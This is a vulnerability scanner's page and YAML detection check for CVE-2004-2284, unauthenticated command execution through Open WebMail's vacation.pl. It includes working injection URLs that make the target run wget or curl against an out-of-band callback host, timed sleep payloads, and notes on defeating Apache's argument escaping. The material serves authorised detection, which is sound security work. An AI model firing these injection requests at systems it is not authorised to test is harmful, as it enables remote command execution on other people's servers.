Open WebMail — 1 vulnerability check

noctis ships 1 vulnerability check for Open WebMail, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Open WebMail vacation.pl Command Execution

CVECVE-2004-2284
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/openwebmail/CVE-2004-2284.yaml

Detects unauthenticated command execution through Open WebMail's vacation.pl (CVE-2004-2284). The script reads the file named by its `-f` option with a two-argument Perl open(), and the web server passes a query string without `=` to it as command-line arguments, so `vacation.pl?-f<command>|` runs a shell command as the web server user. The probe looks for vacation.pl under the usual Open WebMail CGI directories and injects benign commands followed by an invalid option, so the script exits right after the open. Confirmation needs real execution: an out-of-band HTTP callback fetched by wget or curl, or a response delay that scales with an injected `sleep` (3 s and 6 s) against a fast control request, with the 6 s probe clearly slower than the 3 s one.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/vacation.pl?-Z
  2. Checks ctrl.body for [\s\S]*
  3. HTTP(S) request GET {{dir}}/vacation.pl?-fwget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20{{oob_url}}%20%2…
  4. HTTP(S) request GET {{dir}}/vacation.pl?-fcurl%20-s%20-m%205%20-o%20/dev/null%20{{oob_url}}%20%23%3B%7C+-Z
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Open WebMail vacation.pl command execution confirmed: a wget/curl command injected through the -f option fetched the per-run OOB URL (HTTP …
  6. HTTP(S) request GET {{dir}}/vacation.pl?-Z
  7. HTTP(S) request GET {{dir}}/vacation.pl?-fsleep%206%20%23%3B%7C+-Z
  8. HTTP(S) request GET {{dir}}/vacation.pl?-fsleep%203%20%23%3B%7C+-Z
  9. Checks slow3.body for [\s\S]* → finding QoD 75: Open WebMail vacation.pl command execution confirmed by timing via …/vacation.pl -f: control -Z answered in … ms, injected sleep 6 in … ms …

References:

Feed source — tests/vulnerabilities/openwebmail/CVE-2004-2284.yaml
# Open WebMail vacation.pl `-f` ignore-file command execution (CVE-2004-2284)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/openwebmail_vacation_input_validation.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.12637, GPL-2.0-only) and Open WebMail advisory SA-04:04.
# The NASL request is:
#   GET <dir>/vacation.pl?-i+-p/tmp+-ftouch%20/tmp/<x>_openwebmail_vacation_input_validation|
#
# Root cause: vacation.pl (meant for ~/.forward, but installed in the CGI
# directory) reads `-f <file>` with a two-argument Perl open(), so a file name
# ending in `|` is run as a shell command. A query string without `=` is passed
# by the web server as the script's argv, split on `+`. Fixed in 2.32 20040629
# (sysopen + a "should not be called as CGI" guard that sleeps 10 s and dies).
#
# Apache's mod_cgi backslash-escapes the shell metacharacters of every argv
# word (&;`'"|*?~<>^()[]{}$\ — verified on Apache 2.4.58). `#` and space are
# not escaped, so each command here ends in ` #;|`: on Apache Perl gets
# `cmd #\;\|`, runs `sh -c 'cmd #\;\'` and the shell ignores the comment; on a
# server that does not escape, the `;` still makes Perl go through the shell.
# A `-Z` word follows, so once the -f open has run vacation.pl dies on the
# unknown option (usage) instead of entering init/interactive/pipe mode: the
# NASL's `-i -p/tmp` (which rewrites .vacation dbm files in /tmp) is dropped.
#
# The command's output is read by vacation.pl as an ignore list and never
# printed, and the metacharacter escaping rules out an in-band marker, so:
#   1. OOB callback (QoD 97, only when OOB is configured): `wget` then `curl`
#      fetch the per-run OOB URL.
#   2. Time differential (QoD 75, when 1 did not fire): the inert `-Z` control
#      must answer in < 3 s, `sleep 6` in >= control + 5 s and `sleep 3` in
#      >= control + 2.5 s and at least 1.5 s below the 6 s probe — vacation.pl blocks
#      reading the pipe until the command exits. A fixed install sleeps 10 s on
#      every CGI call, so its control is too slow and the probes are not sent.
#
# Better than the NASL: the NASL reports on version alone (plus a 200 from
# vacation.pl, which a real vacation.pl never returns — it prints no CGI
# header) and never verifies that its `touch` ran. This feed proves execution,
# needs no version detection, and tries the common install directories.
uid: c1151bba-812c-4af3-9d2d-a1ab437211e6
name: "Open WebMail vacation.pl Command Execution (CVE-2004-2284)"
description: |
  Detects unauthenticated command execution through Open WebMail's vacation.pl
  (CVE-2004-2284). The script reads the file named by its `-f` option with a
  two-argument Perl open(), and the web server passes a query string without
  `=` to it as command-line arguments, so `vacation.pl?-f<command>|` runs a
  shell command as the web server user. The probe looks for vacation.pl under
  the usual Open WebMail CGI directories and injects benign commands followed
  by an invalid option, so the script exits right after the open. Confirmation
  needs real execution: an out-of-band HTTP callback fetched by wget or curl,
  or a response delay that scales with an injected `sleep` (3 s and 6 s)
  against a fast control request, with the 6 s probe clearly slower than the
  3 s one.
cves: [CVE-2004-2284]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [openwebmail, webmail, cgi, perl, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-2284"
  - "http://openwebmail.org/openwebmail/download/cert/advisories/SA-04:04.txt"
  - "http://www.securityfocus.com/bid/10637"

steps:
  # Set once vacation.pl answers in some directory; gates the 20 s OOB wait.
  - id: init-found
    action: set_var
    var_name: script_found
    var_value: false

  # ── Loop 1: OOB injection, once per CGI directory ─────────────────────────
  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}
    loop:
      over: ["/cgi-bin/openwebmail", "/openwebmail/cgi-bin/openwebmail", "/openwebmail", "/cgi-bin", ""]
      var: dir

  # Control: an unknown option only — vacation.pl dies with its usage text.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/vacation.pl?-Z"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: ctrl

  - id: mark-found
    action: match
    source: ctrl.body
    pattern: "[\\s\\S]*"
    condition: "ctrl.status != 0 && ctrl.status != 404"
    on_match:
      set_vars:
        script_found: true

  #   %20 = space   %23%3B%7C = #;|   + = next argv word
  - id: inject-wget
    action: http_request
    method: GET
    path: "{{dir}}/vacation.pl?-fwget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20{{oob_url}}%20%23%3B%7C+-Z"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "oob_enabled && ctrl.status != 0 && ctrl.status != 404"
    store_as: oob_wget

  - id: inject-curl
    action: http_request
    method: GET
    path: "{{dir}}/vacation.pl?-fcurl%20-s%20-m%205%20-o%20/dev/null%20{{oob_url}}%20%23%3B%7C+-Z"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "oob_enabled && ctrl.status != 0 && ctrl.status != 404"
    store_as: oob_curl

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && script_found == true"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Open WebMail vacation.pl command execution confirmed: a wget/curl command injected through the -f option fetched the per-run OOB URL (HTTP callback received)"
      stop: true

  # ── Loop 2: time differential, once per CGI directory ─────────────────────
  - id: init-ctrl2
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}
    loop:
      over: ["/cgi-bin/openwebmail", "/openwebmail/cgi-bin/openwebmail", "/openwebmail", "/cgi-bin", ""]
      var: dir

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: control2
    action: http_request
    method: GET
    path: "{{dir}}/vacation.pl?-Z"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: ctrl

  - id: inject-sleep6
    action: http_request
    method: GET
    path: "{{dir}}/vacation.pl?-fsleep%206%20%23%3B%7C+-Z"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "ctrl.status != 0 && ctrl.status != 404 && ctrl.duration_ms < 3000"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: GET
    path: "{{dir}}/vacation.pl?-fsleep%203%20%23%3B%7C+-Z"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "ctrl.status != 0 && ctrl.status != 404 && ctrl.duration_ms < 3000 && slow6.status != 0 && slow6.duration_ms >= ctrl.duration_ms + 5000"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "ctrl.status != 0 && ctrl.status != 404 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow3.status != 0 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow6.duration_ms >= slow3.duration_ms + 1500"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "Open WebMail vacation.pl command execution confirmed by timing via {{dir}}/vacation.pl -f: control -Z answered in {{ctrl.duration_ms}} ms, injected sleep 6 in {{slow6.duration_ms}} ms and sleep 3 in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
      stop: true

View these feeds on GitHub